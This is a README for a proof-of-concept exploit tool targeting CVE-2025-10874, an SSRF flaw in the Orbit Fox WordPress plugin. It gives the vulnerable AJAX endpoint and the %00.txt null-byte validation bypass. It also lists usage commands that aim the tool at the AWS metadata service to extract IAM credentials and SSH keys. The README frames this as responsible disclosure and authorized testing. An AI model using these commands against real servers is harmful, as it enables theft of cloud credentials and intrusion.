ryanmroth/orbit-fox_ssrf_cve-2025-10874Demonstrates SSRF with null byte injection bypass for CVE-2025-10874
Proof of concept exploit demonstrating Server-Side Request Forgery (SSRF) vulnerability in the Orbit Fox WordPress plugin with null byte injection bypass.
Detailed blog post: https://ryanmroth.com/articles/orbit-fox-ssrf
| Detail | Notes |
|---|
| CVE ID: | CVE-2025-10874 |
| Affected Plugin: | Orbit Fox by ThemeIsle |
| Vulnerability Type: | Server-Side Request Forgery (SSRF) (CWE-918) |
| CVSS Score: | 5.5 (medium) |
| Required Privileges: | Author+ (WordPress Author role or higher |
| Fixed Version | 3.0.2+ |
The Orbit Fox plugin's MyStock import functionality contains an SSRF vulnerability that allows authenticated users with Author+ privileges to make arbitrary HTTP requests from the WordPress server. The vulnerability exists in the handle-request-mystock-import AJAX action, which fails to properly validate and sanitize URL parameters.
The exploit leverages a null byte injection bypass (%00.txt) to circumvent URL validation, enabling access to internal metadata services, cloud provider APIs, and other network resources accessible from the server.
http://169.254.169.254/latest/meta-data/hostnamehttp://169.254.169.254/latest/meta-data/iam/security-credentials/http://169.254.169.254/latest/meta-data/public-keys/0/openssh-keyrequests libraryurllib3 library# Clone the repository
git clone <repository-url>
cd Orbit-Fox_SSRF_CVE-2025-10874
# Install dependencies (using uv)
uv sync
# Or using pip
pip install requests urllib3
# Extract AWS instance hostname (default target)
python orbit_fox_poc.py http://target.com -u author -p password123
# Specify custom SSRF target URL
python orbit_fox_poc.py http://target.com -u author -p password123 \
-s http://169.254.169.254/latest/meta-data/hostname
# Extract IAM role credentials
python orbit_fox_poc.py http://target.com -u author -p password123 \
-s http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Extract SSH public key
python orbit_fox_poc.py http://target.com -u author -p password123 \
-s http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
# Test without null byte bypass (will fail on patched versions)
python orbit_fox_poc.py http://target.com -u author -p password123 --no-nullbyte
# Enable debug output for troubleshooting
python orbit_fox_poc.py http://target.com -u author -p password123 --debug
positional arguments:
target Target WordPress URL (e.g., http://example.com)
required arguments:
-u, --username WordPress username (Author+ role required)
-p, --password WordPress password
optional arguments:
-h, --help Show help message and exit
-s, --ssrf-url URL to request via SSRF
(default: http://169.254.169.254/latest/meta-data/hostname)
--no-nullbyte Disable null byte bypass (test basic SSRF only)
--debug Enable debug output for troubleshooting
%00.txt to the target URL to bypass validationhandle-request-mystock-import AJAX endpointadmin-ajax.php with action handle-request-mystock-importThis vulnerability was responsibly disclosed to the vendor and has been patched in Orbit Fox version 3.0.2. This proof of concept is provided for:
FOR AUTHORIZED SECURITY TESTING ONLY
This tool is provided for educational and authorized security testing purposes only. Unauthorized access to computer systems is illegal. Users must:
The author assumes no liability for misuse of this tool.
Last Updated: 2025-10-06